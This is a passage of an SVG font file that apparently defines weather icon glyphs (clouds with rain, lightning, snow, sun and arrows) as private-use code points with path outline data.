-30q3 0 12 -2t14 -2q69 5 86 66l188 647q11 39 -6.5 69.5t-53.5 41.5q-37 11 -69 -6.5t-43 -53.5l-192 -647q0 -4 -1 -10.5 t-1.5 -12t-0.5 -9.5zM1285 -183q0 -16 5 -34q13 -34 49 -47q15 -7 38 -7q19 0 31 6q36 14 49 46q13 35 0.5 69t-44.5 51q-35 13 -69.5 -1t-50.5 -46q-8 -17 -8 -37zM1361 88q0 -57 66 -80q22 -6 32 -6q19 0 36 9q28 14 43 59l105 332q12 37 -6.5 68.5t-54.5 42.5 q-37 11 -68 -6.5t-43 -53.5l-105 -334q-5 -28 -5 -31zM1471 1369q110 106 264 106q156 0 266.5 -111t110.5 -267q0 -99 -55 -196q-157 157 -372 157h-35q-49 185 -179 311z" />
<glyph unicode="&#xf033;" horiz-adv-x="2285" d="M0 525q0 -105 40 -200.5t108.5 -165t162.5 -112.5t199 -48q19 0 19 18v143q0 18 -19 18q-139 10 -234 110t-95 237q0 134 90.5 233t223.5 111l56 6q20 0 20 19l8 55q11 114 74 207t162 145.5t215 52.5q174 0 303.5 -115t148.5 -287l7 -62q0 -18 20 -18h171 q144 0 247 -102.5t103 -244.5q0 -137 -95 -237t-234 -110q-21 0 -21 -18v-143q0 -18 21 -18q214 10 361 161.5t147 364.5q0 102 -50 220q127 159 127 349q0 152 -75.5 281t-204 204t-279.5 75q-254 0 -413 -185q-130 68 -284 68q-225 0 -400 -140.5t-224 -359.5 q-179 -41 -292.5 -184t-113.5 -328zM816 32q-4 -22 15 -22h231l-141 -445h31l446 595q6 7 2.5 14.5t-14.5 7.5h-233l245 452q12 23 -15 23h-314q-12 0 -22 -15zM1463 1366q107 106 264 106t266.5 -110t109.5 -268q0 -95 -55 -192q-155 149 -368 149h-33q-47 190 -184 315z " />
<glyph unicode="&#xf034;" horiz-adv-x="2307" d="M0 527q0 -139 68 -259t186 -192.5t259 -76.5q20 0 20 18v143q0 19 -20 19q-137 7 -234 109.5t-97 238.5t91 235.5t225 110.5l56 8q21 0 21 18l8 55q17 176 147.5 294.5t306.5 118.5q174 0 305 -117.5t149 -291.5l8 -62q0 -18 19 -18h173q144 0 247.5 -103.5t103.5 -247.5 q0 -136 -97 -238.5t-233 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q141 4 258.5 76.5t185 192.5t67.5 259q0 116 -45 215q129 159 129 359q0 153 -75.5 282.5t-205 205t-281.5 75.5q-119 0 -229 -49.5t-190 -136.5q-141 69 -289 69q-227 0 -403 -140.5t-226 -359.5 q-180 -46 -294 -190t-114 -330zM569 -227q0 -27 17.5 -54t50.5 -37q37 -11 68 4t42 60l15 65q8 36 -10 67.5t-55 42.5q-36 11 -68.5 -8t-42.5 -57l-15 -63q-2 -6 -2 -20zM650 82q0 -34 27 -61q25 -27 60 -27q38 0 64 25.5t26 62.5t-26 62.5t-64 25.5q-37 0 -62 -25t-25 -63z M715 325q-2 -25 14.5 -48.5t51.5 -34.5q33 -10 66 7.5t44 54.5l30 96q12 39 -7 69.5t-58 41.5q-35 11 -67.5 -7t-43.5 -53l-26 -98q0 -3 -2 -12.5t-2 -15.5zM839 -560q0 -28 16.5 -53t51.5 -35q13 -3 27 -3q68 0 84 65l15 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5 l-15 -63q-3 -14 -3 -24zM922 -250q0 -35 27 -62q26 -26 61 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM989 -8q-2 -24 14 -50t48 -32q37 -10 68 6t44 60l29 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1283 -237 q0 -26 16.5 -51t49.5 -35q5 0 14.5 -2t14.5 -2q65 0 81 70l15 64q11 34 -7 67t-54 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63q0 -4 -2 -13t-2 -14zM1362 78q0 -36 27 -61q24 -26 61 -26q38 0 63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1427 325q0 -27 17.5 -51.5 t52.5 -34.5q3 0 13 -2t15 -2q16 0 38 10q34 18 44 56l26 96q10 36 -8 67.5t-54 42.5q-37 11 -68 -6t-42 -54l-30 -97q0 -4 -2 -12.5t-2 -12.5zM1477 1370q111 111 268 111t267.5 -111.5t110.5 -268.5q0 -107 -54 -197q-154 154 -378 154h-34q-45 187 -180 312z" />
<glyph unicode="&#xf035;" horiz-adv-x="2323" d="M0 515q0 -181 106.5 -321t279.5 -192q16 -2 27 8l121 156q-143 0 -246.5 102.5t-103.5 246.5q0 138 91.5 239t228.5 112l56 8q17 0 17 15l8 60q19 176 150.5 294t307.5 118q178 0 310.5 -117t149.5 -292l8 -63q4 -18 22 -18h174q144 0 248 -105t104 -251 q0 -135 -91 -235.5t-224 -113.5q-76 0 -97 -30l-233 -256q-25 -29 -20.5 -66.5t33.5 -67.5q21 -28 62.5 -24.5t64.5 40.5l209 222q132 13 243 87.5t175.5 192t64.5 251.5q0 101 -46 222q123 156 123 354q0 156 -76 286.5t-207 206t-285 75.5q-251 0 -416 -182 q-139 69 -296 69q-229 0 -404.5 -142t-225.5 -366q-183 -41 -298 -186.5t-115 -336.5zM405 -285q0 -23 5 -34q13 -34 47 -47q36 -16 72.5 -2.5t48.5 48.5q16 35 2 71.5t-49 49.5q-36 13 -70 -0.5t-50 -47.5q-6 -13 -6 -38zM601 -24q0 -37 34 -71q68 -58 134 16l234 260 q24 28 19.5 65.5t-33.5 60.5q-29 22 -67 17t-63 -31l-235 -254q-23 -34 -23 -63zM670 -550q0 -19 8 -34q14 -36 44 -49q19 -8 39 -8q12 0 34 6q34 15 47 48q16 32 2.5 68t-47.5 49q-36 17 -70 3t-52 -51q-5 -15 -5 -32zM848 -295v-14q3 -39 34 -64q23 -29 63.5 -25.5 t63.5 40.5l450 524q25 29 21 68t-37 61q-28 23 -64.5 20t-61.5 -32l-450 -525q-19 -20 -19 -53zM1235 -384q-11 -36 0 -66q14 -35 48 -52q17 -8 38 -8q10 0 32 6q36 14 49 49q16 36 3 70t-47 47q-36 17 -70.5 3.5t-52.5 -49.5zM1491 1368q109 109 264 109 q161 0 273.5 -112.5t112.5 -273.5q0 -100 -55 -194q-156 156 -379 156h-34q-40 182 -182 315z" />
<glyph unicode="&#xf036;" horiz-adv-x="2291" d="M0 525q0 -105 40 -200.5t108.5 -165t163 -112.5t199.5 -48q18 0 18 18v143q0 18 -18 18q-139 10 -234 110t-95 237q0 134 90.5 233.5t223.5 110.5l56 6q21 0 21 20l6 54q17 174 146.5 289.5t305.5 115.5q175 0 304.5 -114.5t147.5 -286.5l7 -62q0 -19 20 -19h171 q144 0 247 -102.5t103 -244.5q0 -137 -95 -237t-234 -110q-21 0 -21 -18v-143q0 -18 21 -18q214 10 361.5 161.5t147.5 364.5q0 115 -45 212q125 151 125 358q0 150 -75 279t-204 204.5t-279 75.5q-249 0 -414 -185q-141 69 -288 69q-226 0 -400.5 -140.5t-224.5 -360.5 q-176 -41 -291 -184.5t-115 -327.5zM585 -187q0 -64 69 -83q33 -11 67 6.5t44 53.5l160 611q10 35 -9.5 67t-57.5 43q-35 11 -67 -7.5t-42 -55.5l-160 -608q-4 -18 -4 -27zM862 -513q0 -19 9 -39q16 -33 54 -46q4 0 10.5 -1t12 -1.5t9.5 -0.5q69 0 81 70l245 932 q11 35 -6.5 67t-53.5 43q-39 11 -72 -7.5t-40 -55.5l-246 -933q-3 -15 -3 -28zM1305 -186q0 -25 17 -50t48 -34q10 -3 24 -3q27 0 52 14.5t34 48.5l160 611q12 33 -7 66t-55 44q-39 11 -70.5 -7.5t-38.5 -55.5l-160 -608q-4 -18 -4 -26zM1469 1362q107 107 264 107 q156 0 266 -109t110 -265q0 -100 -55 -197q-153 153 -373 153h-33q-45 187 -179 311z" />
<glyph unicode="&#xf037;" horiz-adv-x="2293" d="M0 526q0 -105 40 -200.5t108.5 -165.5t163.5 -113t200 -48q19 0 19 18v143q0 18 -19 18q-136 7 -232.5 109.5t-96.5 238.5t90 235t224 110l57 7q16 0 16 16l8 57q18 175 149 291.5t307 116.5q174 0 304.5 -115.5t149.5 -288.5l7 -61q0 -20 19 -20h173q142 0 244 -102 t102 -246q0 -136 -95 -238.5t-231 -109.5q-20 0 -20 -18v-143q0 -18 20 -18q214 10 362 162t148 365q0 103 -44 213q121 159 121 351q0 151 -75.5 280.5t-204.5 205t-280 75.5q-245 0 -412 -178q-139 69 -288 69q-227 0 -402 -141t-224 -361q-181 -42 -294.5 -183.5 t-113.5 -330.5zM575 -194q0 -27 15.5 -51.5t51.5 -36.5q18 -9 39.5 -7.5t43 21t29.5 51.5l30 108q10 40 -8.5 72t-56.5 39q-34 11 -67 -7.5t-44 -53.5l-30 -111q-3 -14 -3 -24zM715 315q1 -31 18 -55.5t51 -29.5q28 -5 32 -5q60 0 81 70l30 107q10 37 -8.5 70.5t-56.5 44.5 q-36 10 -68 -8.5t-43 -55.5l-32 -112q-4 -20 -4 -26zM847 -528q0 -28 16.5 -53t51.5 -35q22 -5 30 -5q14 0 40 11q27 13 41 59l32 108q10 40 -9 72.5t-56 39.5q-35 11 -68.5 -7.5t-44.5 -54.5l-30 -111q-3 -14 -3 -24zM989 -16q0 -27 17 -52.5t52 -35.5q36 -11 67.5 5 t43.5 60l30 108q11 40 -7.5 71t-56.5 38q-35 12 -68 -6.5t-44 -54.5l-30 -111q-4 -14 -4 -22zM1293 -202q-2 -25 14.5 -49.5t49.5 -35.5l27 -3q18 -1 40 8q34 13 45 58l30 112q11 37 -7.5 68.5t-54.5 42.5q-40 10 -71.5 -9t-38.5 -57l-31 -107q-3 -27 -3 -28zM1437 310 q0 -28 17.5 -53t51.5 -32l27 -3q69 0 86 66l30 110q10 40 -9 72t-57 39q-37 11 -68.5 -7.5t-41.5 -56.5l-32 -109q-4 -18 -4 -26zM1473 1366q107 103 261 103q156 0 266 -111.5t110 -267.5q0 -102 -51 -189q-154 154 -372 154h-34q-39 175 -180 311z" />
<glyph unicode="&#xf038;" horiz-adv-x="2297" d="M0 529q0 -213 149 -366.5t363 -163.5q19 0 19 18v143q0 18 -19 18q-137 8 -233.5 110t-96.5 241q0 133 90.5 231t224.5 114l56 4q21 0 21 19l8 58q17 173 146.5 290t304.5 117q174 0 305 -117t149 -290l8 -61q0 -20 18 -20h173q145 0 248 -101.5t103 -243.5 q0 -138 -97 -240.5t-234 -110.5q-20 0 -20 -18v-143q0 -18 20 -18q214 7 362.5 161.5t148.5 368.5q0 114 -46 214q126 154 126 354q0 152 -75.5 281.5t-204.5 204.5t-280 75q-248 0 -415 -185q-129 69 -289 69q-226 0 -401 -140.5t-225 -358.5q-177 -42 -292 -185.5 t-115 -328.5zM681 90q0 -35 26 -61q27 -27 62 -27q37 0 62.5 25t25.5 63t-25 63t-63 25t-63 -25t-25 -63zM681 -297q0 -38 26 -62q26 -26 62 -26q38 0 63 25t25 63t-25.5 64.5t-62.5 26.5t-62.5 -26.5t-25.5 -64.5zM1022 -112q0 -37 27 -65.5t62 -28.5q37 0 64 28t27 66 q0 35 -27 61.5t-64 26.5q-35 0 -62 -26.5t-27 -61.5zM1022 271q0 -36 26 -62t63 -26q38 0 64.5 25.5t26.5 62.5t-26.5 63.5t-64.5 26.5q-36 0 -62.5 -26.5t-26.5 -63.5zM1022 -504q0 -37 26.5 -64t62.5 -27q37 0 64 26.5t27 64.5q0 35 -27 61.5t-64 26.5q-35 0 -62 -26.5 t-27 -61.5zM1367 90q0 -33 26 -61q27 -27 64 -27t62.5 25t25.5 63t-25 63t-63 25t-64 -25t-26 -63zM1367 -297q0 -36 26 -62t64 -26t63 25t25 63t-25.5 64.5t-62.5 26.5t-63.5 -26.5t-26.5 -64.5zM1472 1369q108 108 265 108t266.5 -111t109.5 -269q0 -94 -54 -196 q-154 154 -373 154h-33q-47 186 -181 314z" />
<glyph unicode="&#xf039;" horiz-adv-x="2296" d="M-2 529q0 -213 148.5 -366.5t363.5 -163.5q18 0 18 18v146q0 20 -18 20q-140 10 -235.5 110t-95.5 236q0 135 91 234.5t225 110.5l56 7q20 0 20 20l7 53q17 173 147 290t306 117q175 0 305 -116.5t149 -290.5l6 -61q0 -19 20 -19h171q145 0 248 -101.5t103 -243.5 q0 -136 -95 -236t-234 -110q-22 0 -22 -20v-146q0 -18 22 -18q213 7 361.5 161.5t148.5 368.5q0 118 -46 214q126 153 126 358q0 151 -75.5 280.5t-204.5 205t-280 75.5q-244 0 -419 -187q-132 67 -284 67q-226 0 -401.5 -140t-224.5 -359q-177 -42 -292 -185.5t-115 -328.5 zM631 435q0 -60 45.5 -104t108.5 -44t106.5 43t43.5 105q0 41 -37.5 109t-70.5 107q-3 4 -19.5 21.5t-22.5 25.5l-38 -43q-44 -48 -80 -112.5t-36 -107.5zM950 10q0 -101 73.5 -175t175.5 -74q103 0 177 74t74 175q0 43 -25 103t-60 111q-74 95 -138 159q-9 7 -28 26 l-62 -62q-71 -68 -129 -166.5t-58 -170.5zM1107 725q0 -43 30 -71.5t76 -28.5q41 0 70 28.5t29 71.5q0 65 -99 172l-27 -28q-30 -32 -54.5 -74.5t-24.5 -69.5zM1469 1369q107 106 265 106q156 0 266 -109t110 -265q0 -101 -54 -197q-160 154 -374 154h-33q-45 188 -180 311z " />
<glyph unicode="&#xf03a;" horiz-adv-x="2294" d="M0 533q0 -176 106.5 -317.5t274.5 -191.5l-69 -177q-7 -22 15 -22h226l-122 -436h31l435 586q6 7 1.5 15t-15.5 8h-232l264 498q12 23 -14 23h-316q-15 0 -20 -15l-118 -312q-114 29 -189.5 125t-75.5 216q0 134 90.5 233.5t224.5 111.5l56 7q21 0 21 18l8 55 q17 174 146.5 290.5t305.5 116.5q175 0 305 -116.5t149 -290.5l7 -62q0 -18 19 -18h173q145 0 248 -101.5t103 -243.5q0 -137 -96 -237.5t-235 -110.5q-20 0 -20 -19v-147q0 -18 20 -18q213 7 361.5 162t148.5 370q0 116 -44 213q122 160 122 351q0 114 -45 217.5 t-120 178.5t-179 119.5t-217 44.5q-118 0 -226 -48t-186 -134q-131 70 -288 70q-227 0 -402 -139.5t-225 -359.5q-177 -41 -292 -185t-115 -328zM872 -520q0 -28 17 -54.5t49 -32.5q3 0 8.5 -1t10 -1.5t8.5 -0.5q68 5 85 65l31 113q10 35 -9.5 67.5t-56.5 43.5 q-35 10 -67.5 -9t-43.5 -57l-27 -107q-5 -25 -5 -26zM1015 -11q0 -24 16.5 -48t49.5 -36q35 -12 67 5.5t43 56.5l32 111q10 40 -8.5 72t-56.5 39q-36 11 -68.5 -7.5t-44.5 -56.5l-27 -109q0 -3 -1 -8.5t-1.5 -10t-0.5 -8.5zM1317 -184q0 -30 17 -55.5t50 -34.5q25 -5 29 -5 q63 0 82 64l26 113q11 35 -6 67t-53 44q-40 10 -73 -9.5t-40 -56.5l-30 -106q-2 -8 -2 -21zM1462 322q0 -26 17 -50.5t52 -36.5q27 -3 28 -3q19 0 40 9q31 16 42 56l31 111q10 35 -9.5 67.5t-56.5 43.5q-36 11 -68 -7.5t-43 -56.5l-30 -109q-3 -14 -3 -24zM1473 1373 q106 102 261 102q157 0 267 -110.5t110 -267.5q0 -101 -52 -190q-158 154 -372 154h-34q-49 185 -180 312z" />
<glyph unicode="&#xf03b;" horiz-adv-x="2288" d="M0 529q0 -178 106 -318t273 -187l-68 -179q-8 -23 15 -23h226l-111 -447h30l423 600q6 7 1.5 15t-15.5 8h-232l264 492q11 23 -15 23h-314q-14 0 -24 -15l-114 -306q-114 28 -188.5 122t-74.5 215q0 133 89.5 230.5t223.5 113.5l57 4q19 0 19 19l8 57q11 113 74 206.5 t162.5 146.5t214.5 53q173 0 303 -117t148 -289l8 -60q0 -20 18 -20h173q142 0 245.5 -102t103.5 -242q0 -138 -96 -239.5t-232 -108.5q-21 0 -21 -19v-143q0 -18 21 -18q139 4 256 76.5t184 192.5t67 259q0 117 -45 214q125 148 125 353q0 113 -44.5 216t-119.5 178 t-178 119.5t-216 44.5q-247 0 -412 -185q-129 69 -288 69q-225 0 -400 -139.5t-224 -357.5q-176 -41 -291 -184.5t-115 -327.5zM846 -525q0 -26 15.5 -49t48.5 -33l27 -3q67 0 85 64l259 948q10 37 -7 68.5t-52 42.5q-37 11 -69.5 -6.5t-42.5 -53.5l-261 -949q-3 -27 -3 -29 zM1288 -201q0 -64 66 -85q27 -3 28 -3q18 0 37 8q32 14 45 59l175 624q10 37 -8 68.5t-54 42.5q-37 11 -69 -6.5t-42 -53.5l-173 -628q-5 -23 -5 -26zM1466 1367q108 102 264 102q155 0 265 -109t110 -264q0 -101 -54 -197q-154 154 -371 154h-34q-45 183 -180 314z" />
<glyph unicode="&#xf03c;" horiz-adv-x="1120" d="M0 1160q0 80 57 137t137 57q79 0 135.5 -57t56.5 -137t-56.5 -137t-135.5 -57q-80 0 -137 57t-57 137zM94 1160q0 -42 29 -71q30 -30 71 -30t71 30t30 71t-30 71t-71 30q-42 0 -71 -29.5t-29 -71.5zM509 688q0 -123 68 -219q36 -50 99 -79.5t143 -29.5q234 0 293 178 q6 23 -6.5 43.5t-35.5 24.5q-23 6 -43 -7t-25 -36q0 -1 -1.5 -5.5l-2.5 -7.5q-18 -30 -48 -48q-50 -30 -131 -30q-50 0 -89 17q-64 27 -91 95q-18 44 -18 104v344q0 24 3 48q6 61 48 111q47 56 147 56q83 0 131 -29q32 -19 48 -48q1 -3 2.5 -8.5t1.5 -6.5q6 -22 25 -32.5 t43 -5.5q23 5 35.5 24.5t6.5 42.5v1l-9 25q-8 18 -29.5 46t-48.5 47q-33 24 -87.5 40t-118.5 16q-81 0 -143.5 -28.5t-97.5 -77.5q-69 -95 -69 -221v-344z" />
<glyph unicode="&#xf03d;" horiz-adv-x="2216" d="M0 531q0 -214 149 -367t363 -163q18 0 18 18v143q0 19 -18 19q-137 7 -233.5 109t-96.5 241q0 133 90.5 231.5t224.5 114.5l56 3q21 0 21 18l8 59q16 173 145.5 289.5t305.5 116.5q174 0 305 -116.5t149 -289.5l8 -62q0 -18 18 -18h173q142 0 246.5 -103t104.5 -243 q0 -139 -97 -241t-234 -109q-20 0 -20 -19v-143q0 -18 20 -18q140 4 257.5 76.5t185 192.5t67.5 261q0 144 -71 265t-193 190.5t-266 69.5h-35q-52 214 -224.5 351t-393.5 137q-226 0 -401 -140t-225 -359q-176 -41 -291.5 -185.5t-115.5 -328.5zM743 368q0 -38 26 -64 l276 -278q20 -25 61 -25q45 0 65 25l277 278q26 28 26 64q0 37 -26 62t-64 25t-66 -25l-120 -118v425q0 38 -27 63t-65 25t-63 -25t-25 -63v-425l-117 118q-28 25 -67 25q-40 0 -65.5 -24.5t-25.5 -62.5z" />
<glyph unicode="&#xf03e;" horiz-adv-x="2212" d="M0 527q0 -105 40 -200.5t108.5 -165t163 -112.5t199.5 -48q18 0 18 18v142q0 20 -18 20q-139 10 -234 110t-95 236q0 134 90.5 233.5t223.5 110.5l56 8q21 0 21 18l8 55q11 114 73.5 207.5t162 146t214.5 52.5q175 0 305.5 -115t148.5 -288l6 -61q0 -19 20 -19h172 q144 0 247 -103t103 -245q0 -136 -95 -236t-234 -110q-21 0 -21 -20v-142q0 -18 21 -18q214 10 361.5 161.5t147.5 364.5q0 143 -71.5 264.5t-193.5 192.5t-265 71h-34q-53 213 -225.5 350t-392.5 137q-225 0 -400 -141.5t-225 -360.5q-177 -42 -291.5 -185.5t-114.5 -327.5 zM664 392q0 -119 59.5 -220.5t161 -161.5t219.5 -60q184 0 315 130.5t131 311.5q0 37 -27 64t-65 27t-65.5 -27t-27.5 -64q0 -107 -76.5 -184t-184.5 -77q-106 0 -182.5 77t-76.5 184q0 96 57 171t140 82l-44 -42q-24 -24 -24 -61q0 -40 24 -70q22 -24 56.5 -25t74.5 25 l194 199q27 27 27 62q0 40 -27 65l-194 195q-30 28 -66 28q-37 0 -63 -27t-26 -65t24 -62l37 -38q-160 -27 -265.5 -149t-105.5 -288z" />
<glyph unicode="&#xf040;" horiz-adv-x="2211" d="M0 530q0 -213 148.5 -366t362.5 -163q18 0 18 18v142q0 20 -18 20q-137 7 -233 108.5t-96 240.5q0 132 90 230t224 114h56q21 0 21 19l6 61q17 173 147 290t305 117q173 0 303.5 -117t148.5 -290l8 -61q0 -19 19 -19h172q142 0 246 -102.5t104 -241.5q0 -138 -96.5 -240 t-232.5 -109q-21 0 -21 -20v-142q0 -18 21 -18q139 4 256 76t184.5 192.5t67.5 260.5q0 107 -42 204t-113 167t-169 111.5t-205 41.5h-34q-53 214 -225 350.5t-392 136.5q-226 0 -401 -140.5t-224 -358.5q-177 -41 -291.5 -184.5t-114.5 -327.5zM741 463q0 -40 26 -68 q24 -24 65 -24q39 0 66 24l118 122v-424q0 -38 25 -65t63 -27q37 0 64 27t27 65v420l120 -118q64 -49 130 0q26 24 26 66q0 38 -26 66l-276 274q-26 26 -64 26q-39 0 -63 -26l-275 -274q-26 -26 -26 -64z" />
<glyph unicode="&#xf041;" horiz-adv-x="2216" d="M0 530q0 184 115 328t292 185q50 219 225 359.5t401 140.5q221 0 393.5 -137t224.5 -351h35q144 0 266 -69.5t193 -190.5t71 -265q0 -141 -67.5 -261t-185 -192.5t-257.5 -76.5h-1194q-214 10 -363 163t-149 367zM182 530q0 -139 96.5 -241.5t233.5 -109.5h1194 q137 7 234 109.5t97 241.5q0 140 -104 242.5t-247 102.5h-173q-18 0 -18 19l-8 61q-18 173 -149 290t-305 117q-175 0 -304.5 -117t-146.5 -290l-8 -61q0 -19 -21 -19h-56q-134 -16 -224.5 -114t-90.5 -231z" />
<glyph unicode="&#xf042;" horiz-adv-x="386" d="M0 1349q0 80 57 137t137 57q79 0 135.5 -57t56.5 -137t-56.5 -137.5t-135.5 -57.5t-136.5 57.5t-57.5 137.5zM94 1349q0 -42 29 -71q30 -30 71 -30t71 30t30 71t-30 70.5t-71 29.5q-42 0 -71 -29t-29 -71z" />
<glyph unicode="&#xf043;" horiz-adv-x="677" d="M0 542q0 -31 20.5 -51.5t50.5 -20.5h306q30 0 50.5 20.5t20.5 51.5q0 30 -20.5 49.5t-50.5 19.5h-132l414 414q19 22 19 53q0 29 -19 49q-20 19 -53 19q-32 0 -51 -19l-412 -413v133q0 31 -20.5 51.5t-51.5 20.5q-30 0 -50.5 -21t-20.5 -51v-305z" />
<glyph unicode="&#xf044;" horiz-adv-x="690" d="M0 574q0 -35 27 -59l256 -261q25 -25 62 -25q38 0 63 25l256 261q26 23 26 59t-24 60.5t-60 24.5t-61 -25l-113 -112v703q0 36 -25.5 60t-61.5 24t-61.5 -24t-25.5 -60v-703l-113 112q-25 25 -59 25q-36 0 -61 -24.5t-25 -60.5z" />
<glyph unicode="&#xf045;" horiz-adv-x="1138" d="M0 1157q0 80 57 137t137 57q79 0 135.5 -57t56.5 -137t-56.5 -137.5t-135.5 -57.5t-136.5 57.5t-57.5 137.5zM94 1157q0 -42 29 -71q30 -30 71 -30t71 30t30 71t-30 70.5t-71 29.5q-42 0 -71 -29t-29 -71zM565 422q0 -23 16.5 -39.5t39.5 -16.5t39.5 16.5t16.5 39.5v404 h305q23 0 39.5 17t16.5 40q0 24 -16 40t-40 16h-305v291h408q23 0 38 16t15 40t-15 40t-38 16h-509q-11 0 -11 -12v-908z" />
<glyph unicode="&#xf046;" horiz-adv-x="2324" d="M0 635q0 42 29 66q23 24 66 24h222q39 0 64.5 -25.5t25.5 -64.5q0 -38 -26 -65t-64 -27h-222q-39 0 -67 27t-28 65zM99 93q0 37 28 65q26 25 65 25h1942q39 0 66 -26t27 -64t-27.5 -65.5t-65.5 -27.5h-1942q-38 0 -65.5 27.5t-27.5 65.5zM317 1391q0 41 25 63 q27 29 66 29q38 0 65 -29l154 -156q28 -26 28 -64q0 -40 -25.5 -65.5t-64.5 -25.5q-35 0 -64 26l-159 157q-25 22 -25 65zM594 635q0 -139 57 -249q5 -15 26 -15h178q12 0 14.5 6.5t-7.5 17.5q-85 104 -85 240q0 159 114 271t272 112q159 0 271.5 -112t112.5 -271 q0 -137 -85 -240q-6 -10 -6 -13q-1 -5 3 -8t11 -3h181q14 0 22 15q60 113 60 249q0 153 -77 284.5t-208.5 208.5t-284.5 77t-284.5 -77t-208 -208.5t-76.5 -284.5zM1071 1481v223q0 38 27 66t65 28t66 -28t28 -66v-223q0 -38 -28 -66t-66 -28t-65 28t-27 66zM1671 1234 q0 39 26 64l154 156q27 29 66 29q40 0 66.5 -26.5t26.5 -65.5q0 -41 -24 -65l-161 -157q-26 -24 -63 -24q-40 -1 -65.5 24t-25.5 65zM1919 635q0 43 26 66q23 24 63 24h223q39 0 66.5 -25.5t27.5 -64.5q0 -38 -28 -65t-66 -27h-223q-37 0 -63 27t-26 65z" />
<glyph unicode="&#xf047;" horiz-adv-x="2148" d="M0 94q0 42 30 66q22 25 67 25h1956q40 0 68 -26t28 -65q0 -38 -28.5 -66.5t-67.5 -28.5h-1956q-40 0 -68.5 28.5t-28.5 66.5zM210 978q0 42 25 67q27 28 69 28q37 0 64 -28l160 -160q29 -29 29 -67q0 -37 -29 -66q-24 -29 -64.5 -28.5t-68.5 28.5l-160 160q-25 24 -25 66 zM523 382q-7 -25 16 -25h159q11 0 24 18q48 102 142 162t209 60q116 0 212 -60t144 -162q13 -18 24 -18h158q20 0 16 25q-54 181 -207.5 294t-346.5 113q-192 0 -344 -113t-206 -294zM982 1071v228q0 40 26 68t65 28q40 0 67 -27.5t27 -68.5v-228q0 -41 -27 -68t-67 -27 q-39 0 -65 27.5t-26 67.5zM1592 818q0 38 27 67l164 160q25 28 66 28q39 0 64 -27t25 -68q0 -42 -25 -66l-158 -160q-27 -27 -60 -30q-36 -4 -69.5 26t-33.5 70z" />
<glyph unicode="&#xf048;" horiz-adv-x="1080" d="M0 734q0 -38 25 -63l262 -256q23 -26 58 -26q36 0 61 24t25 60t-25 61l-112 112h703q36 0 59.5 25.5t23.5 61.5t-23.5 61.5t-59.5 26.5h-703l112 113q25 25 25 59q0 36 -25 61t-61 25q-33 0 -58 -28l-262 -256q-25 -25 -25 -61z" />
<glyph unicode="&#xf049;" horiz-adv-x="1120" d="M40 1090q-61 129 18 243q56 79 169 97l20 3h23q155 -5 227 -139q35 -62 17 -140q-12 -61 -45 -112q-65 -104 -143 -175q-4 -5 -12 -9q-44 -35 -91 -3q-18 12 -26 20q-106 110 -157 215zM45 1169q1 -10 5 -30q15 -68 62.5 -105t116.5 -43q16 -2 18.5 0.5t2.5 19.5l-3 27 q-13 72 -69 105q-11 7 -90 40q-12 4 -29 4t-14 -18zM286 1013q-1 -17 3 -20t20 -2q14 2 42 8q56 13 94 60q29 35 44 110q2 11 -1.5 15t-14.5 3q-32 -3 -58 -13q-121 -45 -129 -161zM314 427q-60 128 19 243q56 79 169 97l19 3h23q155 -5 227 -139q35 -63 18 -140 q-12 -59 -46 -112q-63 -102 -143 -174q-8 -8 -11 -10q-45 -35 -92 -3q-15 10 -26 21q-107 111 -157 214zM319 506q1 -6 3.5 -16.5t2.5 -12.5q15 -68 62 -105.5t116 -43.5q16 -1 19 1.5t3 19.5l-4 26q-13 72 -68 105q-9 6 -91 40q-15 5 -28 5q-18 0 -15 -19zM560 350 q-1 -17 3 -20t20 -2q14 2 42 8q55 13 94 61q29 36 44 109q2 11 -1.5 15.5t-14.5 3.5q-28 -3 -58 -14q-121 -45 -129 -161zM634 1090q-60 128 19 243q56 79 169 97l19 3h23q155 -5 227 -139q35 -63 18 -140q-12 -59 -46 -112q-65 -104 -143 -175q-6 -6 -11 -9q-45 -35 -92 -3 q-18 12 -26 20q-106 110 -157 215zM639 1169l6 -30q15 -68 62 -105t116 -43q16 -2 19 1t3 19l-4 27q-13 72 -68 105q-9 6 -91 40q-12 4 -28 4q-18 0 -15 -18zM880 1013q-1 -17 3 -20t20 -2q14 2 42 8q56 13 94 60q29 35 44 110q2 11 -1.5 15t-14.5 3q-32 -3 -58 -13 q-121 -45 -129 -161z" />
<glyph unicode="&#xf04a;" horiz-adv-x="2632" d="M0 99q0 -36 27 -61t66 -25h1985q38 0 64.5 25t26.5 61q0 39 -26 65.5t-65 26.5h-1985q-38 0 -65.5 -27t-27.5 -65zM278 431q0 -38 28 -63q22 -29 63 -29h1985q37 0 62 27t25 65q0 37 -25 62t-62 25h-1985q-38 0 -64.5 -25t-26.5 -62zM294 689v5q-7 -24 13 -24h154 q9 0 20 16q38 83 113.5 136t165.5 60l57 8q20 0 20 19l6 53q17 172 145.5 287.5t302.5 115.5q172 0 301 -114t147 -285l7 -61q0 -19 22 -19h169q103 0 187 -55t125 -145q11 -16 23 -16h151q19 0 16 24q-35 89 -49 113q116 104 160 274l18 70q4 10 -1.5 17t-12.5 7l-66 23 q-143 41 -217.5 169t-39.5 273l14 62q8 15 -14 25l-90 25q-175 43 -343 -28t-263 -226q-127 49 -244 49q-222 0 -395.5 -140t-223.5 -357q-135 -32 -236.5 -129t-141.5 -232zM463 -226q0 -38 28 -63q27 -29 63 -29h1989q37 0 63 27t26 65q0 37 -26 62t-63 25h-1989 q-38 0 -64.5 -25t-26.5 -62zM1690 1403q56 92 150.5 142t199.5 40q-11 -167 75 -312.5t237 -215.5q-24 -56 -80 -114q-147 121 -335 121h-34q-51 210 -213 339z" />
